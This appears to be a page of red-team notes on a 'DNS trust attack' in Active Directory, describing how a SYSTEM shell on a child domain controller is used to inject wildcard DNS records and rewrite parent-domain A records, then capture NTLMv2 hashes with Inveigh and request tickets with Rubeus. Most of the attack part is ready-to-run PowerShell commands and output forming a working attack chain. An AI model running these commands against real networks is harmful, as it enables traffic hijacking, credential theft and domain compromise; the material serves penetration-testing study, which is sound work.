> For the complete documentation index, see [llms.txt](https://otter.gitbook.io/red-teaming/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://otter.gitbook.io/red-teaming/notes/forest-trust-abuse/intra-forest-attacks/dns-trust-attack.md).

# DNS Trust Attack

This attack abuses the unauthorized modification of DNS records within of the database locations of a parent domain from within a child domain. If we manage to pop a `SYSTEM` shell on the child DC we should be able to modify the DNS records for the parent domain as well, possibly leading to MITM attacks or traffic redirection.

{% hint style="info" %}
This privilege is usually associated with EDCs (Enterprise Domain Controllers).
{% endhint %}

DNS records are stored in three distinct locations within the Active Directory:

1. DomainDnsZones partition `(CN=MicrosoftDNS,DC=DomainDnsZones,DC=root,DC=local)`
2. ForestDnsZones partition `(CN=MicrosoftDNS,DC=ForestDnsZones,DC=root,DC=local)`
3. Domain partition `(CN=MicrosoftDNS,CN=System,DC=root,DC=local)`

#### DNS Wildcard Injection

With this technique we can create a "catch-all" record to make the DNS server handle non-existent subdomains.

For example, we can create a `(DC=*, DC=domain.com, CN=MicrosoftDNS, DC=DomainDNSZones, DC=domain, DC=com)` record and point it to a host we already own to redirect all the traffic caught by the DNS rule to us.

{% code overflow="wrap" %}

```powershell
Import-module .\Powermad.ps1
New-ADIDNSNode -Node * -domainController DC01.domain.com -Domain domain.com -Zone domain.com -Tombstone -Verbose
```

{% endcode %}

{% hint style="info" %}
The destination IP is not specified as it is set automatically when running the command. If we want to specify a different host to redirect the traffic to we can do so with the`-Data <IP>`option.
{% endhint %}

#### Arbitrary DNS Record Modification from Child Domain

Since established infrastructures are unlikely to make requests for non-existent it might be better to associate an already existing DNS record to an address within the child domain.

This can be extremely useful if LLMNR poisoning is a viable attack vector inside the forest.

With a shell as `SYSTEM` we can enumerate the DNS records in the parent domain

{% code overflow="wrap" %}

```powershell
Get-DnsServerResourceRecord -ComputerName DC01.domain.com -ZoneName domain.com -Name "@"

<SNIP>

DEV01  A  1  0  01:00:00  <IP ADDRESS>

<SNIP>
```

{% endcode %}

```powershell
Resolve-DnsName -Name DEV01.domain.com -Server DC01.DOMAIN.COM

DEV01.domain.com  A  599  Answer  <IP ADDRESS>
```

In this dummy output, we see that there is a DNS entry for the `DEV01` host pointed to some ip.

From the same shell we can modify the DNS entry and redirect the traffic to another address of our choice and verify the change.

```powershell
$Old = Get-DnsServerResourceRecord -ComputerName DC01.DOMAIN.COM -ZoneName domain.com -Name DEV01
$New = $Old.Clone()
$TTL = [System.TimeSpan]::FromSeconds(1)
$New.TimeToLive = $TTL
$New.RecordData.IPv4Address = [System.Net.IPAddress]::parse('<ANOTHER IP ADDRESS>')
Set-DnsServerResourceRecord -NewInputObject $New -OldInputObject $Old -ComputerName DC01.DOMAIN.COM -ZoneName domain.com 
```

{% code overflow="wrap" %}

```powershell
Get-DnsServerResourceRecord -ComputerName DC01.domain.com -ZoneName domain.com -Name "@"


Resolve-DnsName -Name DEV01.domain.com -Server DC01.DOMAIN.COM

DEV01.domain.com  A  599  Answer  <ANOTHER IP ADDRESS>  
```

{% endcode %}

At this point we're able to set up Responder or Inveigh and wait for a domain user to authenticate into us to catch the NTLMv2 hash and, with a bit of luck, crack it and request a ticket for the user.

```powershell
Import-Module .\Inveigh.ps1
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y -SMB Y
```

```powershell
.\Rubeus.exe asktgt /user:otter /domain:domain.com /password:SomethingSecure123! /ptt
```